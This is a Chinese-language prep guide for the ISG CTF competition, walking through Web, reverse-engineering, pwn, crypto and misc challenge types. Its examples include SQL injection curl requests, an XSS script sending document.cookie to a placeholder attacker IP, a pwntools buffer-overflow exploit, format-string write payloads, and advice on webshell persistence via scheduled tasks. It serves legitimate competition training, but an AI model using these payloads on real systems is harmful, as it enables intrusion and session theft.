ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

ISG信息安全竞赛备赛指南:从CTF题型到实战避坑全解析

ISG信息安全竞赛备赛指南:从CTF题型到实战避坑全解析 简介面向ISG信息安全竞赛参赛者的赛题类型梳理文档docx格式适合正在备赛CTF类线上答题、需要快速把握考查范围与技能重心的个人或团队。文档系统归纳Web漏洞与渗透、软件逆向、漏洞挖掘与利用、密码学原理及应用、其他杂项五类题型并逐类点出核心能力要求包括PHP/Java源码阅读、SQL注入与XSS、x86/ARM平台逆向、APK逆向分析、缓冲区溢出与shellcode编写、古典与现代密码学、隐写术、计算机取证及网络流量分析等。同时写明了竞赛规则细节每一类4至10题题目分值从50分到500分不等每道题有唯一flag并以ISG{可见字符串}形式提交且限制最大提交次数方便选手制定参赛策略和训练计划。压缩包内共1个docx文档整体约27KB轻量而集中已有200人学习下载是一份可用于赛前快速梳理题型和查漏补缺的参考。1. 认识 ISG 信息安全竞赛从题目分类看备赛路线ISG 信息安全竞赛采用 CTF 模式参赛者登录线上平台答题提交形如ISG{可见字符串}的 flag 换取分数。题目按 Web、逆向、漏洞利用、密码学、杂项五大类划分每个分类 4 至 10 题分值从 50 分到 500 分不等且主办方会根据比赛进度逐步开放题目。这篇文章就是把这五类题目的考核点、常用工具、实操步骤和最容易翻车的细节一次说清楚。无论你是第一次参加 CTF 类竞赛的新手还是已经入门但想在 ISG 这类综合赛上拿分的选手这份拆解都能帮你把备赛范围收窄到真正值得练的方向少走弯路。2. Web 漏洞与渗透从源码审计到 SQL 注入的完整路径2.1 题目到底考什么ISG 的 Web 题目不是让你随便点点看能不能弹窗它考的是成体系的能力栈。拆开看有五个层面操作系统与服务器的安全配置、网站源码阅读能力尤其 PHP 和 Java、数据库管理与 SQL 查询、漏洞挖掘与利用SQL 注入、XSS 为主、服务器提权与补丁修复。前两项是基础功后三项才是真正决定你能不能拿到 flag 的关键。操作系统层面题目经常给一个 Linux 服务器环境可能是 CentOS 也可能是 Ubuntu你需要知道 Apache 和 Nginx 的配置差异网站运行目录在哪PHP 版本不同会带来什么差异。比如 PHP 5 的mysql_query和 PHP 7 的mysqli在注入手法上就有区别。Java 站点则要关注 Struts2、Spring Boot 这些框架的经典漏洞版本特征。数据库层面MySQL 的information_schema库和 MSSQL 的报错注入语法完全不同ISG 这类比赛用 MySQL 居多但你不能假设所有题都只考 MySQL。源码阅读能力是很多新手最容易低估的部分。题目不会把整个项目源码给你通常给一个完整的站点让你在实战中测试或者给一段关键代码片段让你找漏洞点。无论哪种形式你都得能快速定位到查询语句、过滤函数和用户输入的交汇处。我一般会先看文件上传功能、登录功能、搜索功能这三个最容易出问题的入口然后顺着参数往上追溯是否有过滤。2.2 一道典型 SQL 注入题的完整操作路径假设题目给的是一个 PHP MySQL 的登录页面我们按实际做题顺序走一遍完整流程。先用浏览器访问目标站点用 Burp Suite 拦截登录请求确认提交参数。ISG 常见的参数名就是username和password或者id和keyword先把请求包保存下来POST /login.php HTTP/1.1 Host: 172.16.1.2 Content-Type: application/x-www-form-urlencoded usernameadminpassword123456先测闭合方式在username参数后分别加单引号、双引号、反斜杠观察页面返回差异。对 MySQL 来说最常见的是单引号闭合。确认存在注入点后下一步是用order by判断字段数量curl -X POST http://172.16.1.2/login.php -d usernameadmin order by 3-- -passwordx curl -X POST http://172.16.1.2/login.php -d usernameadmin order by 4-- -passwordx从 3 开始往上试当请求报错或返回异常时说明字段数已越界取最后一个正常值即字段总数。拿到字段数后用union select找回显位注意要把前面参数的值改成不存在的比如admin改成x或者1这样curl -X POST http://172.16.1.2/login.php -d usernamex union select 1,2,3-- -passwordx这一步的作用是让前面的查询结果为空让后面的 union 语句结果直接回显到页面上。如果页面显示了数字 2 和 3说明这两个位置有回显接下来把对应位置替换成database()、group_concat(table_name)就能逐步把数据库、表名、字段名、数据内容拖出来。ISG 的 Web 题里很多情况下你不需要走完整个拖库流程因为 flag 往往就在某一个表里你要做的是找到flag表并读取内容。参数这一块的实用经验MySQL 5.0 以上版本可以用information_schema但有些题目做了表名过滤。遇到这种情况转用盲注用substr()配合ascii()逐位判断或者用sleep()做时间盲注。实在不行看网站有没有报错显示有报错可以走extractvalue或updatexml报错注入效率比盲注高得多。2.3 XSS、提权与补丁修复的实战边界XSS 题在 ISG 里通常有两种考法一种是直接在题目页面上弹窗验证flag 藏在 cookie 里你需要通过 XSS 把 cookie 带出来另一种是存储型 XSS把 payload 写进留言板或资料页让管理员访问后触发。后者通常配合一个模拟浏览器你需要构造一段能自动提交的 JavaScriptscript fetch(http://你的IP/collect?data document.cookie); /script代码说明这段脚本的原理是利用浏览器的fetch接口向攻击者指定服务器发送当前页面的 cookie 值。注意在 ISG 的题目环境里出题人一般不会在 cookie 里直接放 flag而是把 flag 放在管理后台的功能页面里需要你拿到管理员的会话后进一步操作。所以收集到 cookie 只是第一步接着要用document.cookie里的值改掉你自己浏览器的会话再访问后台。提权题是 Web 分类里分值最高的类型之一一般给一个低权限的 webshell 或者命令行界面让你在内网环境里逐步提升权限。常见路线是先看当前用户有哪些文件可写有没有定时任务SUID 文件有没有可利用的。Linux 下经典的find / -perm -4000找 SUID 文件这招在 ISG 里依然有效。补丁修复题则是给你一个有漏洞的站点源码要求你找出问题并修复。这类题不考注入攻击反而考你对漏洞成因的理解最简单的修复方式是做参数白名单校验而不是只做黑名单过滤。3. 软件逆向从 PE/ELF 到 APK 的武器库与流程3.1 静态分析阶段工具选型和工作流程逆向题在 ISG 里覆盖 Windows、Linux 和 Android 三个平台架构涉及 x86、x86_64 和 ARM。对新手来说第一道坎不是汇编语言本身而是不知道每种文件该用什么工具打开。Windows PE 文件用 IDA Pro 或 GhidraLinux ELF 文件用 Ghidra 或 radare2Android 的 APK 则要先用 jadx 看 Java 层再用 Frida 处理 native 层。静态分析的常规步骤很固定。第一步是用file命令看目标文件的架构和是否加壳file challenge challenge: ELF 64-bit LSB executable, x86-64, dynamically linked, not strippednot stripped代表符号表还在函数名可直接看到这通常意味着题目难度偏易。如果输出里出现UPX、Themida或custom packer字样说明加了壳先脱壳再分析。没有符号的裸文件我会先用rabin2 -I或readelf -s看导入表和字符串字符串里经常直接暴露关键提示或加密逻辑。静态分析主战场在 IDA Pro 里。建议先看main函数的反编译伪代码确认程序走了哪些分支、哪个函数处理了用户输入然后顺着关键函数逐层深入。ISG 的逆向题通常不会隐藏到极致出题人会留一个明显的校验函数或比较长度的地方你要做的就是把校验逻辑逆向出来算出正确输入即 flag。3.2 动态调试与关键参数静态分析看不清楚的地方要交给动态调试。Linux 下最常见的调试器是 gdb它对新手不太友好我建议先用带图形界面的 pwndbg 或 GEF 插件。启动调试前先设断点最常见的位置是比较指令附近比如cmp或test之后的分支跳转。gdb -q ./challenge (gdb) b *0x401234 (gdb) run (gdb) x/s $rdi参数说明b是设置断点的命令*0x401234是你要下断点的内存地址run让程序跑起来x/s $rdi是把 RDI 寄存器的内容按字符串打印出来在 x86_64 架构下第一个函数参数通常通过 RDI 传递。当你断在校验函数入口时RDI 里往往就是用户输入的字符串而它旁边某个寄存器的值就是期望结果两者一对比答案就出来了。遇到简单的strcmp类对比动态调试还有更快的玩法在strcmp函数下断点当程序跑起来后直接看栈上两个参数的值其中一个就是源码里写死的正确字符串。ISG 的低分逆向题里这种直接对比占了相当比例熟练用这一招能省下大量时间。3.3 Android APK 逆向与脱壳Android 题目的流程从 jadx 打开 APK 开始直接看MainActivity的 Java 代码。ISG 的低分 Android 题经常把校验逻辑直接写在 Java 层你甚至不需要碰 native 代码。但题目分值到 200 以上时出题人就会把核心逻辑放到 so 文件里Java 层只是调了System.loadLibrary和native方法。处理 native 层的标准做法是用unzip把 APK 里的 think 库解压出来确认 so 文件是 ARM 还是 x86 架构然后用 IDA 打开分析。有的题目用 Frida 做 hook 更快Java.perform(function() { var MainActivity Java.use(com.example.ctf.MainActivity); MainActivity.check.implementation function(s) { console.log(input: s); return this.check(s); }; });代码逻辑Frida 脚本加载后先定位到com.example.ctf.MainActivity类再把它的check方法替换成打印输入参数的版本。这样你随便输入一个字符串就能在控制台看到程序内部拿到的实际值。如果 check 方法内部还调用了 native 函数配合Interceptor.attach就能 hook so 层函数把每一步运算的输入输出都打印出来整个算法流程一目了然。脱壳题相对少见但 ISG 偶尔会放一道加固 APK 的题目。遇到这种情况优先尝试 Frida 的DexDump脚本或frida-dexdump工具在应用运行起来后把内存中的 dex 文件 dump 出来再用 jadx 分析能省去手工绕过反调试的折腾。4. 漏洞利用与密码学从栈溢出到 RSA 参数分析的解题思路4.1 栈溢出题的标准打法Exploit 类题目在 ISG 里主要考缓冲区溢出和格式化字符串语言集中在 C 和 Python平台是 Windows 和 Linux 的 x86/x86_64 环境。这类题的核心在于你能否从一段给定的二进制程序里找到溢出点并编写利用代码拿到 shell 或执行指定命令。栈溢出题最经典的还是gets函数和strcpy函数的组合。先 IDA 打开程序找到gets接收的缓冲区大小再找到有没有后门函数也就是源码里可能藏着但正常流程不会被调用的system(/bin/sh)或类似函数。在 x86_64 下做 ret2text 攻击需要考虑栈对齐问题。from pwn import * io process(./vuln) elf ELF(./vuln) # overflow to return address payload bA * 72 payload p64(0x40123b) # address of the backdoor function payload p64(0x40123b) # extra return for stack alignment io.sendline(payload) io.interactive()注意p64是 pwntools 提供的函数作用是把一个整型地址转换成 64 位的小端序字节串。这里的 72 是缓冲区到返回地址的偏移量需要根据实际的栈布局计算得出。为什么后面要再加一个返回地址x86_64 的 system 调用在某些系统上要求栈按 16 字节对齐否则会调用失败多加一次地址是为了把栈顶调整到正确位置。这是新手最容易翻车的地方程序看起来逻辑没问题但就是执行不了 shell。ISG 的漏洞利用题通常会给远程连接端口本地调试成功后用remote()替换process()把 payload 发送到比赛服务器拿 flagio remote(172.16.1.2, 8888)参数说明第一个参数是题目给出的远程 IP第二个是端口号。发送 payload 后如果返回了 shell 提示符直接执行cat flag或cat /flag就能完成任务。远程利用时要注意服务器的架构可能和本地不同用 pwntools 的context.arch统一设置架构避免混淆。4.2 格式化字符串从原理到实操格式化字符串漏洞在 ISG 里占比不小因为它考察的不仅有漏洞原理还有构造能力。当一个printf直接接收用户输入时你用%x、%p就能往栈上读数据用%n还能往内存地址写数据。printf(user_input);实际利用步骤分两块。第一块是读取栈上的值输入%1$p.%2$p.%3$p这样的格式化字符串能依次把栈上的内容以十六进制指针形式输出。第二块是利用写能力改函数返回地址或 GOT 表。ISG 的格式化字符串题给的目标一般是修改某个变量使其等于指定值或者改写__stack_chk_fail的 GOT 表项跳转到后门函数。构造 payload 的通用方式是%2236c%7$n这种写法其中2236是控制输出的字符数量7$是栈上的参数位置%n是把已经输出的字符数写入该位置指向的地址。每次只写一个字节比较稳妥通过p64构造要写入的地址再配合%hhn逐字节写。提交 flag 前先在本地仔细算好偏移远程环境通常与本地栈布局一致不要临时改参数。4.3 密码学题目的常见切入口密码学分类对 C、Python、Java 的编码能力都有要求。ISG 里 Crypto 不是让你记忆公式而是给一段算法实现或加密结果让你分析并还原明文。古典密码学考凯撒、维吉尼亚、栅栏等替换类密码现代密码学考 RSA、AES、DES 的应用缺陷更多是「算法没问题、实现有缺陷」的题目设计思路。RSA 是最高频的考点。最常见的出题方式是给了n、e和密文但n很小可以被分解。用 yafu 做因子分解是常规动作yafu factor(3210056861898144465847303709027940170814559)yafu 是一个专门的整数因子分解工具它会自动尝试 Pollard rho、p-1、ECM 等算法。分解出 p 和 q 之后计算私钥解密密文。ISG 的 RSA 题里还经常出现 n 不变但 e 被改小的情况比如 e3 的低加密指数攻击用 Python 开三次方就能还原明文。import gmpy2 n 0x... e 3 c 0x... m gmpy2.iroot(c, e)[0] flag bytes.fromhex(hex(m)[2:]) print(flag)代码说明gmpy2.iroot(c, e)的作用是对密文 c 开 e 次方返回根结果和余数。当明文长度远小于 n 时密文就是明文的 e 次方直接开根就能得到明文。这一招可以快速解决低加密指数攻击。如果是多个 n 共用一个 e 的情况优先用 CRT 中国剩余定理合并再开根恢复明文。AES 题相对少见出现了也多是 ECB 模式下相同明文块产生相同密文这类模式识别题不用硬记脚本。5. 避坑指南ISG 实战中遇到的五个高频翻车点5.1 flag 提交次数限制现象一道题解出来了提交 flag 却提示错误再提交提示次数已达上限这题彻底废了。原因ISG 规则里每道题目限制最大提交次数很多平台的默认限制是 20 次有些是 10 次。新手容易在不确定的情况下反复尝试把次数耗光。解决做题时先确认提交剩余次数逻辑没验证完之前绝不提交。每道题的 flag 是唯一且固定的只要解题过程无误提交必然成功。如果确认解题过程正确但提交失败检查 flag 格式是否完整是否多了空格、换行或少了{}大括号。5.2 Web 题环境重置导致数据丢失现象Web 题做着做着页面提示连接断开刷新后环境被重置已经上传的 webshell 或修改过的数据库内容全部消失。原因ISG 平台的 Web 题目是按需分配的容器实例比赛高峰时段资源紧张或者容器有固定的存活时间超时自动回收。解决拿到题目先做信息收集把所有关键配置、源码路径、数据库结构先记录在本地笔记即使环境重置也能快速重新部署同样的操作。用 webshell 时优先写好持久化脚本比如计划任务或写启动加载项这样重置后有机会自动恢复。做题顺序上先做操作时间短的题放到最后才做那些需要长时间维持环境的复杂渗透。5.3 工具版本差异导致利用失败现象本地复现成功的栈溢出 payload打远程就崩溃同一个格式化字符串在本地能改地址远程弹不出来。原因本地环境和远程平台的 libc 版本、系统位数、防护机制都可能不同。远程通用做法是多加一次返回地址对齐而本地测试环境可能对未对齐的 payload 不敏感。解决利用题的 payload 构建要尽量考虑通用性。ISG 远程环境多为 64 位 Ubuntu 系统且开启了 NX 和栈随机化。本地调试时就要把防护等级调成和比赛环境一致pwntools 里用context.update(archamd64, oslinux, bits64)设置架构再用checksec确认防护状态。每个漏洞利用脚本都要区分本地和远程的执行参数建议用--remote命令行参数来切换。5.4 逆向题遇到混淆或反调试现象IDA 里看到的代码逻辑非常混乱全是垃圾指令无法理解程序在做什么动态调试时程序一启动就直接退出或被 kill 掉。原因题目使用了代码混淆和反调试技术。反调试常见的实现方式是用ptrace自陷或检测环境变量、时钟延迟等特征。解决反调试用 LD_PRELOAD 或者直接 patch 掉关键跳转。遇到 UPX 壳直接在 Linux 命令行用upx -d脱壳即可像 ISG 这类比赛通常不会上商业虚拟机壳。代码混淆题目优先用动态分析Frida hook 或 gdb 在关键 API 处下断点绕过混淆看真实行为。另一个路子是放弃完全理解整体逻辑只追踪输入到校验结果之间的数据流找到最终比对点。5.5 时间分配失误现象比赛前两小时死磕一道 500 分的逆向题最后解出来了但想刷低分题时已经没时间总分反而不如专心做三道 150 分题的选手。原因CTF 是计分制而非通关制每道题的分值和难度相关但不代表 500 分题一定比 50 分题耗时 10 倍。ISG 主办方根据比赛进度逐步开放题目每一类题目都有不同分值。解决开场先扫一遍已开放的题目把能快速拿下的 50 到 150 分题全部做完再回头处理难题。遇到卡壳超过 30 分钟的题先放一放回头时可能因为其他题目的思路启发而解决。ISG 赛制下你不需要做完所有题把有效得分做到最高才是目标。我的习惯是带一张纸开场前 15 分钟只做信息收集不看题不解题把所有题目的类型、分值、初步线索列成清单再规划攻击顺序。6. 杂项题目与 flag 提交技巧取证、流量分析和最终一击杂项Misc是 ISG 里分类最多样、最考验临场应对能力的一堆题。信息搜集OSINT、隐写术、计算机取证、文件恢复、流量分析都在这个分类里。这类题目分值跨度大有些简单到用网页源码检查就能拿到 flag有些则要经过多轮启发式计算。我一般会把 Misc 放在每道难题之间穿插做既调剂节奏又能保持得分效率。隐写题是最容易拿分的突破口。图片隐写先看文件头有没有附加数据用strings命令直接搜ISG关键字是入门动作。稍微进阶的 LSB 隐写用 zsteg 工具对 PNG 和 BMP 快速扫描zsteg image.pngzsteg 会自动检测 LSB 隐写、Extract 数据和通道组合输出隐藏的信息。一句话参数说明zsteg不带参数运行时会默认分析所有通道指定-a可以进入全量检测模式查看更细微的隐写痕迹。流量分析题给 PCAP 包优先用 Wireshark 的http和tcp过滤条件定位可疑请求菜鸟常犯的错误是在流量包里死搜ISG关键字而实际上 flag 可能是十六进制编码后的内容需要先转码再搜索。文件恢复题会给一块损坏的磁盘镜像或一堆碎片文件用foremost或binwalk提取隐藏内容。binwalk 对固件类文件识别尤其好用一个binwalk -e自动递归提取所有可识别文件包裹里的内容后半程大部分恢复工作都被工具自动化掉了。最后说 flag 提交这一步。ISG 的 flag 格式为ISG{可见字符串}提交成功后会立刻显示得分。我习惯先把 flag 复制到本地文本检查大括号是否匹配、内容是否完整再用复制粘贴的方式提交而不是手动输入。每道题的提交次数有限这个习惯能避免手误把到手的分数丢出去。尤其是从终端输出复制 flag 时ASCII 颜色控制符偶尔会混进内容里养成「先粘贴到文本编辑器看一下再提交」的习惯之后我再没在这上面翻过车。希望这篇拆解能帮你在 ISG 的比赛里少踩几个坑多拿几道题的分。本文还有配套的精品资源点击获取
返回列表